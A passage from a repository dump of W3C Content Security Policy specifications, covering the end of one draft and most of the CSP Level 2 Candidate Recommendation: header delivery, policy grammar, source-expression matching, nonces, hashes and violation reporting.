The Content-Security-Policy header is an end-to-end header. It is processed and enforced at the client and, therefore, SHOULD NOT be modified or removed by proxies or other intermediaries not in the same administrative domain as the resource. The originating administrative domain for a resource might wish to apply a Content-Security-Policy header outside of the immediate context of an application. For example, a large organization might have many resources and applications managed by different individuals or teams but all subject to a uniform organizational standard. In such situations, a Content-Security-Policy header might be added or combined with an existing one at a network-edge security gateway device or web application firewall. To enforce multiple policies, the administrator SHOULD combine the policy into a single header. An administrator might wish to use different combination algorithms depending on his or her intended semantics. One sensible policy combination algorithm is to start by allowing a default set of sources and then letting individual upstream resource owners expand the set of allowed sources by including additional origins. In this approach, the resultant policy is the union of all allowed origins in the input policies. Another sensible policy combination algorithm is to intersect the given policies. This approach enforces that content comes from a certain whitelist of origins, for example, preventing developers from including third-party scripts or content in violation of organizational standards and practices. In this approach, the combination algorithm forms the combined policy by removing disallowed hosts from the policies supplied by upstream resource owners. Interactions between the default-src and other directives SHOULD be given special consideration when combining policies. If none of the policies contains a default-src directive, adding new src directives results in a more restrictive policy. However, if one or more of the input policies contain a default-src directive, adding new src directives might result in a less restrictive policy, for example, if the more specific directive contains a more permissive set of allowed origins. Using a more restrictive policy than the input policy authored by the resource owner might prevent the resource from rendering or operating as intended. Note: Migration to HTTPS from HTTP may require updates to the policy in order to keep things running as before. Source expressions like http://example.com do not match HTTPS resources. For example, administrators SHOULD carefully examine existing policies before rolling out HTTP Strict Transport Security headers for an application. [[RFC6797]]
Server administrators MAY wish to send multiple policies if different reporting options are desired for subsets of an overall policy. For instance, the following headers:
        Content-Security-Policy: frame-ancestors https://example.com/ 
        Content-Security-Policy: default-src https:; report-uri https://example.com/
    
would send violation reports for http resources, but would not send violation reports for frame-ancestors violations. Note also that combining them via ',' into the single header
        Content-Security-Policy: frame-ancestors https://example.com/, default-src https:; report-uri https://example.com/
    
would have the same effect, as the comma splits the header during parsing.

Processing Complications

Many user agents implement some form of optimistic resource fetching algorithm to speed up page loads. In implementing these features, user agents MUST ensure that these optimizations do not alter the behavior of the page's security policy. Here, we'll note a few potential complications that could cause bugs in implementations:
  1. The frame-ancestor directive MUST take effect before a document is loaded into a nested browsing context, and certainly before script is potentially executed. One way to approach this constraint is to perform the ancestor check defined in [[#directive-frame-ancestors]] while parsing the document's headers. This might mean that no document object is available at all, which can complicate checks against 'self', and scheme- or port-relative source expressions.
  2. Likewise, the Link HTTP response header could generate requests for stylesheet resources before a document is available. User agents MUST ensure that any policy contained in the response headers is parsed and effective before these requests are generated. For example, a response returning the following headers:
            Content-Security-Policy: style-src 'none'
            Link: <awesome.css>; rel=stylesheet
          
    MUST have the same behavior as a response returning the following headers:
            Link: <awesome.css>; rel=stylesheet
            Content-Security-Policy: style-src 'none'
          
    namely, both must block requests for the stylesheet. To meet this requirement user agents MUST wait until all headers have been processed before beginning to prefetch resources.

IANA Considerations

The permanent message header field registry should be updated with the following registrations: [[!RFC3864]]

Content-Security-Policy

Header field name
Content-Security-Policy
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy Header Field)

Content-Security-Policy-Report-Only

Header field name
Content-Security-Policy-Report-Only
Applicable protocol
http
Status
standard
Author/Change controller
W3C
Specification document
This specification (See Content-Security-Policy-Report-Only Header Field)

Acknowledgements

In addition to the documents in the W3C Web Application Security working group, the work on this document is also informed by the work of the IETF websec working group, particularly that working group's requirements document: draft-hodges-websec-framework-reqs. A portion of the frame-ancestors directive was originally developed as X-Frame-Options. [[RFC7034]] Brian Smith, Neil Matatall, Anne van Kesteren, and Sigbjørn Vik provided particularly insightful feedback to keep this specification sane.
================================================ FILE: 2/published/2015-02-CR.html ================================================ Content Security Policy Level 2

Content Security Policy Level 2

W3C Candidate Recommendation,

This version:
http://www.w3.org/TR/2015/CR-CSP2-20150219/
Latest version:
http://www.w3.org/TR/CSP2/
Editor's Draft:
https://w3c.github.io/webappsec/specs/CSP2/
Previous Versions:
http://www.w3.org/TR/2014/WD-CSP2-20140703/
http://www.w3.org/TR/2014/WD-CSP11-20140211/
http://www.w3.org/TR/2012/CR-CSP-20121115/
Feedback:
public-webappsec@w3.org with subject line “[CSP2] … message topic …” (archives)
Editors:
(Google Inc.)
(Google Inc.)
(Mozilla Corporation)
Former Editors:
(formerly of Mozilla Corporation)

Abstract

This document defines a policy language used to declare a set of content restrictions for a web resource, and a mechanism for transmitting the policy from a server to a client where the policy is enforced.

Status of this document

This section describes the status of this document at the time of its publication. Other documents may supersede this document. A list of current W3C publications and the latest revision of this technical report can be found in the W3C technical reports index at http://www.w3.org/TR/.

This document was published by the Web Application Security Working Group as a Candidate Recommendation. This document is intended to become a W3C Recommendation. This document will remain a Candidate Recommendation at least until 1 July 2015 in order to ensure the opportunity for wide review.

The (archived) public mailing list public-webappsec@w3.org (see instructions) is preferred for discussion of this specification. When sending e-mail, please put the text “CSP2” in the subject, preferably like this: “[CSP2] …summary of comment…

Publication as a Candidate Recommendation does not imply endorsement by the W3C Membership. This is a draft document and may be updated, replaced or obsoleted by other documents at any time. It is inappropriate to cite this document as other than work in progress.

The entrance criteria for this document to enter the Proposed Recommendation stage is to have a minimum of two independent and interoperable user agents that implementation all the features of this specification, which will be determined by passing the user agent tests defined in the test suite developed by the Working Group. The Working Group will prepare an implementation report to track progress.

This document was produced by a group operating under the 5 February 2004 W3C Patent Policy. W3C maintains a public list of any patent disclosures made in connection with the deliverables of the group; that page also includes instructions for disclosing a patent. An individual who has actual knowledge of a patent which the individual believes contains Essential Claim(s) must disclose the information in accordance with section 6 of the W3C Patent Policy.

This document is governed by the 1 August 2014 W3C Process Document.

The following features are at-risk, and may be dropped during the CR period:

Table of Contents

1. Introduction

This section is not normative.

This document defines Content Security Policy, a mechanism web applications can use to mitigate a broad class of content injection vulnerabilities, such as cross-site scripting (XSS). Content Security Policy is a declarative policy that lets the authors (or server administrators) of a web application inform the client about the sources from which the application expects to load resources.

To mitigate XSS attacks, for example, a web application can declare that it only expects to load script from specific, trusted sources. This declaration allows the client to detect and block malicious scripts injected into the application by an attacker.

Content Security Policy (CSP) is not intended as a first line of defense against content injection vulnerabilities. Instead, CSP is best used as defense-in-depth, to reduce the harm caused by content injection attacks. As a first line of defense against content injection, server operators should validate their input and encode their output.

There is often a non-trivial amount of work required to apply CSP to an existing web application. To reap the greatest benefit, authors will need to move all inline script and style out-of-line, for example into external scripts, because the user agent cannot determine whether an inline script was injected by an attacker.

To take advantage of CSP, a web application opts into using CSP by supplying a Content-Security-Policy HTTP header. Such policies apply to the current resource representation only. To supply a policy for an entire site, the server needs to supply a policy with each resource representation.

1.1. Changes from Level 1

This document describes an evolution of the Content Security Policy specification. Level 2 makes two breaking changes from Level 1, and adds support for a number of new directives and capabilities which are summarized below:

  1. The following changes are backwards incompatible with the majority of user agent’s implementations of CSP 1:
    1. The path component of a source expression is now ignored if the resource being loaded is the result of a redirect, as described in §4.2.2.3 Paths and Redirects.

      Note: Paths are technically new in CSP2, but they were already implemented in many user agents before this revision of CSP was completed, so noting the change here seems reasonable.

    2. Redirects are blocked by default, and explicitly allowed with a new unsafe-redirect expression.
    3. A protected resource’s ability to load Workers is now controlled via child-src rather than script-src.
    4. Workers now have their own policy, separate from the protected resource which loaded them. This is described in §5.1 Workers.
  2. The following directives are brand new in this revision:
    1. base-uri controls the protected resource’s ability to specify the document base URL.
    2. child-src deprecates and replaces frame-src, controlling the protected resource’s ability to embed frames, and to load Workers.
    3. form-action controls the protected resource’s ability to submit forms.
    4. frame-ancestors controls the protected resource’s ability be embedded in other documents. It is meant to supplant the X-Frame-Options HTTP request header.
    5. plugin-types controls the protected resource’s ability to load specific types of plugins.
  3. Individual inline scripts and stylesheets may be whitelisted via nonces (as described in §4.2.4 Valid Nonces) and hashes (as described in §4.2.5 Valid Hashes).
  4. A CSP request header is now sent with relevant requests, as described in §3.4 The CSP HTTP Request Header.
  5. A SecurityPolicyViolationEvent is fired upon violations, as described in §6.3 Firing Violation Events.
  6. A number of new fields were added to violation reports (both those POSTED via report-uri, and those handed to the DOM via SecurityPolicyViolationEvent events. These include effectiveDirective, statusCode, sourceFile, lineNumber, and columnNumber.
  7. Certain flags present in the sandbox directive now affect Worker creation, as described in §7.14.1 Sandboxing and Workers.

2. Key Concepts and Terminology

2.1. Terms defined by this specification

security policy
security policy directive
security policy directive name
security policy directive value
A security policy refers to both a set of security preferences for restrictions within which content can operate, and to a fragment of text that codifies or transmits these preferences. For example, the following string is a policy which restricts script and object content:
script-src 'self'; object-src 'none'

Security policies contain a set of security policy directives (script-src and object-src in the example above), each responsible for declaring the restrictions for a particular resource type, or manipulating a specific aspect of the policy’s restrictions. The list of directives defined by this specification can be found in §7 Directives.

Each directives has a name and a value; a detailed grammar can be found in §4 Syntax and Algorithms.

protected resource
A security policy is applied by a user agent to a specific resource representation, known as the protected resource. See §3 Policy Delivery for details regarding the mechanisms by which policies may be applied to a protected resource.

2.2. Terms defined by reference

globally unique identifier
Defined in Section 2.3 of the Origin specification. [RFC6454]

NOTE: URLs which do not use hierarchical elements as naming authorities (data:, for instance) have origins which are globally unique identifiers.

HTTP 200 response
Defined in Section 6.3.1 of HTTP/1.1 -- Semantics and Content. [RFC7231]
JSON object
JSON stringification
Defined in the JSON specification. [RFC4627]
origin
Defined by the Origin specification. [RFC6454]
resource representation
Defined in Section 3 of HTTP/1.1 -- Semantics and Content. [RFC7231]
URL
Defined by [URL].
SHA-256
SHA-384
SHA-512
These digest algorithms are defined by the NIST. [SHA2]

2.3. Relevant Concepts from HTML

The applet, audio, embed, iframe, img, link, object, script, source, track, and video are defined in [HTML5].

The terms auxiliary browsing contexts, opener browsing context, and nested browsing contexts are defined in the HTML5 specification. [HTML5]

A plugin is defined in the HTML5 specification. [HTML5]

The <@font-face> Cascading Style Sheets (CSS) rule is defined in the CSS Fonts Module Level 3 specification. [CSS3-FONTS]

The XMLHttpRequest object is defined in the XMLHttpRequest specification. [XMLHTTPREQUEST]

The WebSocket object is defined in the WebSocket specification. [WEBSOCKETS]

The EventSource object is defined in the EventSource specification. [EVENTSOURCE]

The runs a worker algorithm is defined in the Web Workers spec. [WORKERS]

The term callable refers to an object whose interface has one or more callers as defined in the Web IDL specification [WEBIDL].

2.4. Grammatical Concepts

The Augmented Backus-Naur Form (ABNF) notation used in this document is specified in RFC5234. [ABNF]

This document also uses the ABNF extension "#rule" as defined in Section 7 of HTTP/1.1 -- Message Syntax and Routing. [RFC7230]

The following core rules are included by reference, as defined in Appendix B.1 of [ABNF]: ALPHA (letters), DIGIT (decimal 0-9), WSP (white space) and VCHAR (printing characters).

3. Policy Delivery

The server delivers a policy to the user agent via an HTTP response header (defined in §3.1 Content-Security-Policy Header Field and §3.2 Content-Security-Policy-Report-Only Header Field ) or an HTML meta element (defined in §3.3 HTML meta Element ).

Servers are informed that requests are coming from a protected resource via an HTTP request header (defined in §3.4 The CSP HTTP Request Header).

3.1. Content-Security-Policy Header Field

The Content-Security-Policy header field is the preferred mechanism for delivering a policy. The grammar is as follows:

"Content-Security-Policy:" 1#policy-token

For example, a response might include the following header field:

Content-Security-Policy: script-src 'self'

A server MUST NOT send more than one HTTP header field named Content-Security-Policy with a given resource representation.

A server MAY send different Content-Security-Policy header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy header field, the user agent MUST enforce each of the policies contained in each such header field.

3.2. Content-Security-Policy-Report-Only Header Field

The Content-Security-Policy-Report-Only header field lets servers experiment with policies by monitoring (rather than enforcing) a policy. The grammar is as follows:

"Content-Security-Policy-Report-Only:" 1#policy-token

For example, server operators might wish to develop their security policy iteratively. The operators can deploy a report-only policy based on their best estimate of how their site behaves:

Content-Security-Policy-Report-Only: script-src 'self';
                                     report-uri /csp-report-endpoint/

If their site violates this policy the user agent will send violation reports to the URL specified in the policy’s report-uri directive, but allow the violating resources to load regardless. Once a site has confidence that the policy is appropriate, they can start enforcing the policy using the Content-Security-Policy header field.

A server MUST NOT send more than one HTTP header field named Content-Security-Policy-Report-Only with a given resource representation.

A server MAY send different Content-Security-Policy-Report-Only header field values with different representations of the same resource or with different resources.

Upon receiving an HTTP response containing at least one Content-Security-Policy-Report-Only header field, the user agent MUST monitor each of the policies contained in each such header field.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.3. HTML meta Element

The server MAY supply policy via one or more HTML meta elements with http-equiv attributes that are an ASCII case-insensitive match for the string "Content-Security-Policy". For example:

<meta http-equiv="Content-Security-Policy" content="script-src 'self'">

Add the following entry to the pragma directives for the meta element:

Content security policy (http-equiv="content-security-policy")
  1. If the Document’s head element is not an ancestor of the meta element, abort these steps.
  2. If the meta element lacks a content attribute, abort these steps.
  3. Let policy be the value of the content attribute of the meta element.
  4. Let directive-set be the result of parsing policy.
  5. Remove all occurrences of report-uri, frame-ancestors, and sandbox directives from directive-set.

    Note: User agents are encouraged to issue a warning to developers if one or more of these directives are included in a policy delivered via meta.

  6. Enforce each of the directives in directive-set, as defined for each directive type.

Authors are strongly encouraged to place meta elements as early in the document as possible, because policies in meta elements are not applied to content which preceeds them. In particular, note that resources fetched or prefetched using the Link HTTP response header field, and resources fetched or prefetched using link and script elements which preceed a meta-delivered policy will not be blocked.

Note: A policy specified via a meta element will be enforced along with any other policies active for the protected resource, regardless of where they’re specified. The general impact of enforcing multiple policies is described in §3.5 Enforcing multiple policies..

Note: Modifications to the content attribute of a meta element after the element has been parsed will be ignored.

Note: The Content-Security-Policy-Report-Only header is not supported inside a meta element.

3.4. The CSP HTTP Request Header

The CSP header field indicates that a particular request is subject to a policy, and its value is defined by the following ABNF grammar:

"CSP:" 1#csp-header-value

csp-header-value = *WSP "active" *WSP

If the user agent is monitoring or enforcing a policy that includes directives whose value is a source list, and whose source list contains the 'unsafe-redirect' source expression, then the user agent MUST send a header field named CSP along with requests for resources whose origin does not match the protected resource’s origin. The value of this header MUST be active.

The user agent MAY choose to send this header only if the request is for a resource type which the active policy would effect. That is, given a policy of img-src example.com 'unsafe-redirect', the user agent would send CSP: active along with requests for images, but might choose not to send the header with requests for script.

Note: The central reason for including this header is that it hints to a server that information about redirects might be leaked as a side-effect of a page’s active policy. If this header is present, a server might decline to redirect a logged-out user from example.com to accounts.example.com, for example, as a malicious embedder might otherwise be able to determine the user’s logged-in status.

3.5. Enforcing multiple policies.

This section is not normative.

The above sections note that when multiple policies are present, each must be enforced or reported, according to its type. An example will help clarify how that ought to work in practice. The behavior of an XMLHttpRequest might seem unclear given a site that, for whatever reason, delivered the following HTTP headers:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

Is a connection to example.com allowed or not? The short answer is that the connection is not allowed. Enforcing both policies means that a potential connection would have to pass through both unscathed. Even though the second policy would allow this connection, the first policy contains connect-src 'none', so its enforcement blocks the connection. The impact is that adding additional policies to the list of policies to enforce can only further restrict the capabilities of the protected resource.

To demonstrate that further, consider a script tag on this page. The first policy would lock scripts down to 'self', http://example.com and http://example.net via the default-src directive. The second, however, would only allow script from http://example.com/. Script will only load if it meets both policy’s criteria: in this case, the only origin that can match is http://example.com, as both policies allow it.

3.6. Policy applicability

This section is not normative.

Policies are associated with an protected resource, and enforced or monitored for that resource. If a resource does not create a new execution context (for example, when including a script, image, or stylesheet into a document), then any policies delivered with that resource are discarded without effect. Its execution is subject to the policy or policies of the including context. The following table outlines examples of these relationships:

Resource Type What policy applies?
Top-level Contexts HTML as a new, top-level browsing context The policy delivered with the resource
SVG, as a top-level document Policy delivered with the resource
Embedded Contexts Any resource included via iframe, object, or embed The policy of the embedding resource controls what may be embedded. The embedded resource, however, is controlled by the policy delivered with the resource, or the policy of the embedding resource if the embedded resource is a globally unique identifier (or a srcdoc frame).
SVG, as an embedded document The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier.
JavaScript, as a Worker, Shared Worker or Service Worker The policy delivered with the resource, or policy of the creating context if created from a globally unique identifier
Subresources SVG, inlined via svg Policy of the including context
SVG, as a resource document Policy of the including context
HTML via XMLHttpRequest Policy of the context that performed the fetch
Image via img element Policy of the including context
JavaScript via a script element Policy of the including context
SVG, via img No policy; should be just as safe as JPG
SVG, as a WebFont No policy; should be just as safe as WOFF

4. Syntax and Algorithms

4.1. Policy Syntax

A Content Security Policy consists of a U+003B SEMICOLON (;) delimited list of directives. Each directive consists of a directive name and (optionally) a directive value, defined by the following ABNF:

policy-token    = [ directive-token *( ";" [ directive-token ] ) ]
directive-token = *WSP [ directive-name [ WSP directive-value ] ]
directive-name  = 1*( ALPHA / DIGIT / "-" )
directive-value = *( WSP / <VCHAR except ";" and ","> )

4.1.1. Parsing Policies

To parse the policy policy, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of directives be the empty set.
  2. For each non-empty token returned by strictly splitting the string policy on the character U+003B SEMICOLON (;):
    1. Skip whitespace.
    2. Collect a sequence of characters that are not space characters. The collected characters are the directive name.
    3. If there are characters remaining in token, skip ahead exactly one character (which must be a space character).
    4. The remaining characters in token (if any) are the directive value.
    5. If the set of directives already contains a directive whose name is a case insensitive match for directive name, ignore this instance of the directive and continue to the next token.
    6. Add a directive to the set of directives with name directive name and value directive value.
  3. Return the set of directives.

4.2. Source List Syntax

Many CSP directives use a value consisting of a source list, defined in the ABNF grammar below.

Each source expression in the source list represents a location from which content of the specified type can be retrieved. For example, the source expression 'none' represents the empty set of URLs, and the source expression 'unsafe-inline' represents content supplied inline in the resource itself.

source-list       = *WSP [ source-expression *( 1*WSP source-expression ) *WSP ]
                  / *WSP "'none'" *WSP
source-expression = scheme-source / host-source / keyword-source / nonce-source / hash-source
scheme-source     = scheme-part ":"
host-source       = [ scheme-part "://" ] host-part [ port-part ] [ path-part ]
keyword-source    = "'self'" / "'unsafe-inline'" / "'unsafe-eval'" / "'unsafe-redirect'"
base64-value      = 1*( ALPHA / DIGIT / "+" / "/" )*2( "=" )
nonce-value       = base64-value
hash-value        = base64-value
nonce-source      = "'nonce-" nonce-value "'"
hash-algo         = "sha256" / "sha384" / "sha512"
hash-source       = "'" hash-algo "-" hash-value "'"
scheme-part       = <scheme production from RFC 3986, section 3.1>
host-part         = "*" / [ "*." ] 1*host-char *( "." 1*host-char )
host-char         = ALPHA / DIGIT / "-"
path-part         = <path production from RFC 3986, section 3.3>
port-part         = ":" ( 1*DIGIT / "*" )

If the policy contains a nonce-source expression, the server MUST generate a fresh value for the nonce-value directive at random and independently each time it transmits a policy. The generated value SHOULD be at least 128 bits long (before encoding), and generated via a cryptographically secure random number generator. This requirement ensures that the nonce-value is difficult for an attacker to predict.

Note: Using a nonce to whitelist inline script or style is less secure than not using a nonce, as nonces override the restrictions in the directive in which they are present. An attacker who can gain access to the nonce can execute whatever script they like, whenever they like. That said, nonces provide a substantial improvement over 'unsafe-inline' when layering a content security policy on top of old code. When considering 'unsafe-inline', authors are encouraged to consider nonces (or hashes) instead.

The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly into a policy string, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de would be encoded as xn--tdaaaaaa.de.

NOTE: Though IP addresses do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see §4.2.2 Matching Source Expressions for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames to IP addresses whenever possible.

4.2.1. Parsing Source Lists

To parse a source list source list, the user agent MUST use an algorithm equivalent to the following:

  1. Strip leading and trailing whitespace from source list.
  2. If source list is an ASCII case-insensitive match for the string 'none' (including the quotation marks), return the empty set.
  3. Let set of source expressions be the empty set.
  4. For each token returned by splitting source list on spaces, if the token matches the grammar for source-expression, add the token to the set of source expressions.
  5. Return the set of source expressions.

Note: Characters like U+003B SEMICOLON (;) and U+002C COMMA (,) cannot appear in source expressions directly: if you’d like to include these characters in a source expression, they must be percent encoded as %3B and %2C respectively.

4.2.2. Matching Source Expressions

A URL url is said to match a source expression for a protected resource if the following algorithm returns does match:

  1. Let url be the result of processing the URL through the URL parser.
  2. If the source expression a consists of a single U+002A ASTERISK character (*), and url’s scheme is not one of blob, data, filesystem, then return does match.
  3. If the source expression matches the grammar for scheme-source:
    1. If url’s scheme is an ASCII case-insensitive match for the source expression’s scheme-part, return does match.
    2. Otherwise, return does not match.
  4. If the source expression matches the grammar for host-source:
    1. If url’s host is null, return does not match.
    2. Let url-scheme, url-host, and url-port be the scheme, host, and port of url’s origin, respectively.

      Note: If url doesn’t specify a port, then its origin’s port will be the default port for url’s scheme.

    3. Let url-path-list be the path of url.
    4. If the source expression has a scheme-part that is not a case insensitive match for url-scheme, then return does not match.
    5. If the source expression does not have a scheme, return does not match if any of the following are true:
      1. the scheme of the protected resource’s URL is a case insensitive match for HTTP, and url-scheme is not a case insensitive match for either HTTP or HTTPS
      2. the scheme of the protected resource’s URL is not a case insensitive match for HTTP, and url-scheme is not a case insensitive match for the scheme of the protected resource’s URL.
    6. If the first character of the source expression’s host-part is an U+002A ASTERISK character (*) and the remaining characters, including the leading U+002E FULL STOP character (.), are not a case insensitive match for the rightmost characters of url-host, then return does not match.
    7. If the first character of the source expression’s host-part is not an U+002A ASTERISK character (*) and url-host is not a case insensitive match for the source expression’s host-part, then return does not match.
    8. If the source expression’s host-part matches the IPv4address production from [RFC3986], and is not 127.0.0.1, or is an IPv6 address, return does not match.

      Note: A future version of this specification may allow literal IPv6 and IPv4 addresses, depending on usage and demand. Given the weak security properties of IP addresses in relation to named hosts, however, authors are encouraged to prefer the latter whenever possible.

    9. If the source expression does not contain a port-part and url-port is not the default port for url-scheme, then return does not match.
    10. If the source expression does contain a port-part, then return does not match if both of the following are true:
      1. port-part does not contain an U+002A ASTERISK character (*)
      2. port-part does not represent the same number as url-port
    11. If the source expression contains a non-empty path-part, and the URL is not the result of a redirect, then:
      1. Let exact-match be true if the final character of path-part is not the U+002F SOLIDUS character (/), and false otherwise.
      2. Let source-expression-path-list be the result of splitting path-part on the U+002F SOLIDUS character (/).
      3. If source-expression-path-list’s length is greater than url-path-list’s length, return does not match.
      4. For each entry in source-expression-path-list:
        1. Percent decode entry.
        2. Percent decode the first item in url-path-list.
        3. If entry is not an ASCII case-insensitive match for the first item in url-path-list, return does not match.
        4. Pop the first item in url-path-list off the list.
      5. If exact-match is true, and url-path-list is not empty, return does not match.
    12. Otherwise, return does match.
  5. If the source expression is a case insensitive match for 'self' (including the quotation marks), then:
    1. Return does match if the origin of url matches the origin of protected resource’s URL.

      Note: This includes IP addresses. That is, a document at https://111.111.111.111/ with a policy of img-src 'self' can load the image https://111.111.111.111/image.png, as the origins match.

  6. Otherwise, return does not match.

Note: This algorithm treats the URLs https://example.com/ and https://example.com./ as non-matching. This is consistent with browser behavior which treats documents served from these URLs as existing in distinct origins.

A URL url is said to match a source list for protected resource if the following conditions are met:

  1. At least one source expression in the set of source expressions obtained by parsing the source list matches url for protected resource.
  2. At least one of the following is true:
    1. url is not the result of a redirect.

      Note: This is a bit hand-wavey; in the future, CSP will cleanly integrate with [FETCH], which will allow us to clarify the details.

    2. The set of source expressions obtained by parsing the source list contains the source expression 'unsafe-redirect'.
    3. The source list is the U+002A ASTERISK character (*).

Note: No URLs match an empty set of source expressions, such as the set obtained by parsing the source list 'none'.

4.2.2.1. Security Considerations for GUID URL schemes

This section is not normative.

As defined above, special URL schemes that refer to specific pieces of unique content, such as "data:", "blob:" and "filesystem:" are excluded from matching a policy of * and must be explicitly listed. Policy authors should note that the content of such URLs is often derived from a response body or execution in a Document context, which may be unsafe. Especially for the default-src and script-src directives, policy authors should be aware that allowing "data:" URLs is equivalent to unsafe-inline and allowing "blob:" or "filesystem:" URLs is equivalent to unsafe-eval.

4.2.2.2. Path Matching

This section is not normative.

The rules for matching source expressions that contain paths are simpler than they look: paths that end with the '/' character match all files in a directory and its subdirectories. Paths that do not end with the '/' character match only one specific file. A few examples should make this clear:

  1. The source expression example.com has no path, and therefore matches any file served from that host.
  2. The source expression example.com/scripts/ matches any file in the scripts directory of example.com, and any of its subdirectories. For example, both https://example.com/scripts/file.js and https://example.com/scripts/js/file.js would match.
  3. The source expression example.com/scripts/file.js matches only the file named file.js in the scripts directory of example.com.
  4. Likewise, the source expression example.com/js matches only the file named js. In particular, note that it would not match files inside a directory named js. Files like example.com/js/file.js would be matched only if the source expression ended with a trailing "/", as in example.com/js/.

Note: Query strings have no impact on matching: the source expression example.com/file matches all of https://example.com/file, https://example.com/file?key=value, https://example.com/file?key=notvalue, and https://example.com/file?notkey=notvalue.

4.2.2.3. Paths and Redirects

To avoid leaking path information cross-origin (as discussed in Egor Homakov’s Using Content-Security-Policy for Evil), the matching algorithm ignores the path component of a source expression if the resource being loaded is the result of a redirect. For example, given a page with an active policy of img-src example.com not-example.com/path:

  • Directly loading https://not-example.com/not-path would fail, as it doesn’t match the policy.
  • Directly loading https://example.com/redirector would pass, as it matches example.com.
  • Assuming that https://example.com/redirector delivered a redirect response pointing to https://not-example.com/not-path, the load would succeed, as the initial URL matches example.com, and the redirect target matches not-example.com/path if we ignore its path component.

This restriction reduces the granularity of a document’s policy when redirects are in play, which isn’t wonderful, but given that we certainly don’t want to allow brute-forcing paths after redirects, it seems a reasonable compromise.

The relatively long thread "Remove paths from CSP?" from public-webappsec@w3.org has more detailed discussion around alternate proposals.

4.2.3. The nonce attribute

Nonce sources require a new nonce attribute to be added to both script and style elements.

partial interface HTMLScriptElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.
partial interface HTMLStyleElement {
  attribute DOMString nonce;
};
nonce, of type DOMString
This attribute reflects the value of the element’s nonce content attribute.

4.2.4. Valid Nonces

An element has a valid nonce for a set of source expressions if the value of the element’s nonce attribute after stripping leading and trailing whitespace is a case-sensitive match for the nonce-value component of at least one nonce-source expression in set of source expressions.

4.2.5. Valid Hashes

An element’s content is the script block’s source for script elements, or the value of the element’s textContent IDL attribute for non-script elements such as style.

The digest of element’s content for is the result of applying an algorithm to the element’s content.

To determine whether element has a valid hash for a set of source expressions, execute the following steps:

  1. Let hashes be a list of all hash-source expressions in set of source expressions.
  2. For each hash in hashes:
    1. Let algorithm be:
    2. Let expected be the hash-value component of hash.
    3. Let actual be the base64 encoding of the binary digest of element’s content using the algorithm algorithm.
    4. If actual is a case-sensitive match for expected, return true and abort these steps.
  3. Return false.

Note: If an element has an invalid hash, it would be helpful if the user agent reported the failure to the author by adding a warning message containing the actual hash value.

4.3. Media Type List Syntax

The plugin-types directive uses a value consisting of a media type list.

Each media type in the media type list represents a specific type of resource that can be retrieved and used to instantiate a plugin in the protected resource.

media-type-list   = media-type *( 1*WSP media-type )
media-type        = <type from RFC 2045> "/" <subtype from RFC 2045>

4.3.1. Parsing

To parse a media type list media type list, the user agent MUST use an algorithm equivalent to the following:

  1. Let the set of media types be the empty set.
  2. For each token returned by splitting media type list on spaces, if the token matches the grammar for media-type, add the token to the set of media types. Otherwise ignore the token.
  3. Return the set of media types.

4.3.2. Matching

A media type matches a media type list if, and only if, the media type is an ASCII case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4. Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URL of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URL (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URL of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URL in the set of report URLs:
    1. If the user agent has already sent a violation report for the protected resource to report URL, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URL.
    2. Queue a task to fetch report URL from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URL is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URLs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify. For example, a user agent might offer users the option of disabling reporting entirely.

5. Processing Model

